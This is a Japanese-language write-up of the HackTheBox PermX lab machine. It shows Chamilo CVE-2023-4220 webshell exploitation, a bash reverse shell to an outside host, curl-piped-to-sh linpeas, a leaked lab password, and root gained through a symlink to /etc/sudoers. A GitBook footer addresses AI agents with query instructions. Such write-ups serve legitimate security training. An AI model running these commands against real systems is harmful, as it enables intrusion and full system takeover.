> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# PermX HackTheBox攻略記事

サブドメイン列挙、Chamilo悪用、LINpeasによる列挙システム、Sudoers昇格権限（/etc/sudoersファイルの権限変更）を扱うPermX HackTheBox Easy Linuxマシンの攻略記事、

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**スキル:**

* サブドメイン列挙
* Chamiloのエクスプロイト
* LINpeas列挙システム
* Sudoers権限昇格（/etc/sudoersファイルの権限変更）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9116ff5ceccf59a6990aa16472a1c9298e08a58d%2Fimage%20(2244).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c186584f826cb6da54a28269d603783c89f0f90d%2Fimage%20(1449).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580844847de1db4faca2f6e1b617c673e3fe508f%2Fimage%20(1450).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b809e1e5fff4ed26068442c622f905b3368f2b86%2Fimage%20(1451).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248303ca2fe00893da659f2c0ab52bdd71a48f16%2Fimage%20(1452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d482d0c6ebbc78d9f3e102b52d2e3979051c894%2Fimage%20(1453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01555e06201b8761517a47910838933b0262f404%2Fimage%20(1454).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobusterで存在しうるディレクトリを検索：**

Mediumのディレクトリ一覧ファイルを使って、Webサイト上の存在しうるディレクトリをGobusterでスキャンします。

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88e9c74b787fe3c9d894e22c69321b0f66859dc7%2Fimage%20(1455).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobusterによるディレクトリ検索：**

使用する **Gobuster** 辞書を使って隠されたアクセスファイルを見つける。

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2b767ed325c3d58082754306df636ebc48f6c1%2Fimage%20(1456).png?alt=media" alt=""><figcaption></figcaption></figure>

### サブドメイン列挙

コンソールからWfuzzツールを使ってWebサイトのサブドメインを列挙するには、次のコマンドを使用できます：

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a52fc872b0bbabb4e7602dae9f5e4127b022eb37%2Fimage%20(1457).png?alt=media" alt=""><figcaption></figcaption></figure>

次を更新することを忘れないでください `/etc/hosts` ファイルに、発見したサブドメインを含めます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ffb2192301e5987b9303184b117ee1f1ccd700f%2Fimage%20(1458).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b7f548a321dbda01b9f28e418224cbbe7f4152%2Fimage%20(1459).png?alt=media" alt=""><figcaption></figcaption></figure>

## Chamilo CMSの脆弱性：

ChamiloにはCVE-2023-4220として識別された脆弱性があり、リモートコード実行（RCE）を可能にします。この欠陥を悪用するには、GitHubで公開されている次のスクリプトを使用できます：

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### GitHubリポジトリをクローンします：

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. 対象に脆弱性が存在するか確認します：

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12d00ea8c89b28523f856990fe1da0254f04bd22%2Fimage%20(1460).png?alt=media" alt=""><figcaption></figcaption></figure>

### Webシェル：

脆弱性が存在する場合、次を注入します： **PHPウェブシェル** Chamilo に:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be650e6b0eec3c16b3f33ce724864c3dbb6b60ff%2Fimage%20(1462).png?alt=media" alt=""><figcaption></figcaption></figure>

ウェブシェルが注入されると、ターゲットマシンでコマンドを実行できるようになります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f99eb2072daeb2c35745883571ac683b37d059d%2Fimage%20(1447).png?alt=media" alt=""><figcaption></figcaption></figure>

### リバースシェル：

リバースシェル接続を確立してマシンにアクセスするには、次のコマンドをターミナルから実行します：

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

次に、4444番ポートで待ち受けます：

```bash
nc -nlvp 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433ddb7152c53179ab8df9f397c37a0949801e82%2Fimage%20(1448).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

**システム列挙（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

権限確認のためにLinpeasを使用します：

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b49cb62564bda85fb74cd3c1ff35174f63793da%2Fimage%20(1446).png?alt=media" alt=""><figcaption></figcaption></figure>

**新しいユーザーの発見：**

列挙中に、次の名前の新しいユーザーを特定しました `mtz`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afe5d7824312a435329423405de405522d7a43df%2Fimage%20(1442).png?alt=media" alt=""><figcaption></figcaption></figure>

**パスワードの取得：**

次のパスワードが見つかりました：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07ba4652273d6628f0cbe3b8dd02105034bce5f3%2Fimage%20(1443).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e99d4d5e8e167be05233d728a3172bb907cef063%2Fimage%20(1444).png?alt=media" alt=""><figcaption></figcaption></figure>

#### user.txtのフラグ:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db3138b4eeba750b1f292d2d493b58657ec0fec5%2Fimage%20(1445).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers:

次の `sudo -l` コマンドを実行すると、スクリプトを実行できることがわかります。 **root**.

```bash
sudo -l
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55fc7ae55c9f11787a9dcb6e0680d6c84f943a5f%2Fimage%20(2252).png?alt=media" alt=""><figcaption></figcaption></figure>

このBashスクリプトは、パスの妥当性と対象が実際にファイルであることを確認した後、ACLを使用して特定のファイルに対するユーザーのアクセス権限を変更します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1e1b4c18b27ccbc6c6efed03a2d4facdd1b09b4%2Fimage%20(2246).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2503588b591f2a8c4fdd460a03925fbe83b0c8cd%2Fimage%20(2247).png?alt=media" alt=""><figcaption></figcaption></figure>

最後に、mtzユーザーにそのファイルの読み取りおよび書き込み権限を付与しましょう

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

エラーが発生します。なぜなら、そのファイルは私たちの `/home/mtz` ディレクトリを優先するように

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7bfe967baef947eb41ab6e7340dd9817675e0ea%2Fimage%20(2248).png?alt=media" alt="" width="535"><figcaption></figcaption></figure>

回避策としては、システムファイルから `/home/mtz/` ディレクトリへのシンボリックリンクを作成し、このリンクに対してスクリプトを実行することです。

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef620717e99ccb95684bd59a892fe12054ef5e4d%2Fimage%20(2249).png?alt=media" alt=""><figcaption></figcaption></figure>

sudoers/\_linkファイルを編集する必要があります。これによりsudoersファイルが更新され、mtzユーザーにフル権限が付与されます。

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bbf950f3b9ec42511dcab9f0ee49f26243476c0%2Fimage%20(2250).png?alt=media" alt=""><figcaption></figcaption></figure>

### rootフラグ: ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3d6432a03fed70e8e4b62afeccae1e74fd30b56%2Fimage%20(2251).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fd7a39fc8a12fb0188f8f0ae8cb40a3ed3022c%2Fimage%20(1417).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
